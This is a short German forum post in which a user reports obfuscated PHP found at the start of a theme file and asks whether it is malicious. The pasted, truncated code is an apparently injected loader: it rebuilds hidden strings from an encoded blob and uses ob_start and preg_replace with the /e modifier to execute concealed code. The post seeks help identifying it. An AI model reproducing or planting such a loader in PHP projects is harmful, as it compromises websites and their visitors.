Hallo zusammen,
ich habe in einer php-Datei im themes-Verzeichnis folgendes als erstes in der Datei entdeckt (gekürzt, insgesamt ca. 13KB).
Ist das Schadcode, oder hat das Funktion?
Grüße,
raulinger
PHP
$naqxaecepo = '25)3ofpjudovg<~%x5c%x7824<w6*%x5c%x787f_*#fmjgk4%x5c%x7860{6~6<tfs%x5cc%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x78if((function_exists("%x6f%142%x5f%163%x74%141%x72%164") && (!issetd%x5c%x7825w6Z6<.3%x5c%x786076]277#<%x5c%x7825t2w>#]y74]273]y76]252]y85]256]y6g[...]0%x28%4/(.*)/epreg_replacexdfofnjvjx';
$drnedqnjgm = explode(chr((198-154)),'1266,66,3259,22,5730,[...],2282,33,3806,59,5283,38,4683,31,5036,34,581,63,4429,65,6935,37,1975,28,9725,21,9833,33,4155,42,2132,25,7452,28,2070,62,6455,23,812,51,4738,36,5124,30,2447,62,4197,39,6850,48,1688,54,3396,34,6273,30,7094,60,8004,40');
$pypkxfpbfi=substr($naqxaecepo,(31204-2109,(33-26)); if (!function_exists('kovtlhzoot')) { function kovtlhzoot($sgbwhnrpir, $mjiswmkduu) { $isirfxrqol = NULL; for($miwcailgkm=0;$miwcailgkm<(sizeof($sgbwhnrpir)/2);$miwcailgkm++) { $isirfxrqol .= substr($mjiswmkduu, $sgbwhnrpir[($miwcailgkm*2)],$sgbwhnrpir[($miwcailgkm*2)+1]); } return $isirfxrqol; };} $gsnvvmsszo="\x20\57\x2a\40\x6c\143\x74\157\x73\150\x64\170\x73\165\x20\[...]\x2a\57\x20"; $iimzwipxvm=substr($naqxaecepo,(51315-41202),(73-61)); $iimzwipxvm($pypkxfpbfi, $gsnvvmsszo, NULL); $iimzwipxvm=$gsnvvmsszo; $iimzwipxvm=(697-576); $naqxaecepo=$iimzwipxvm-1;
?>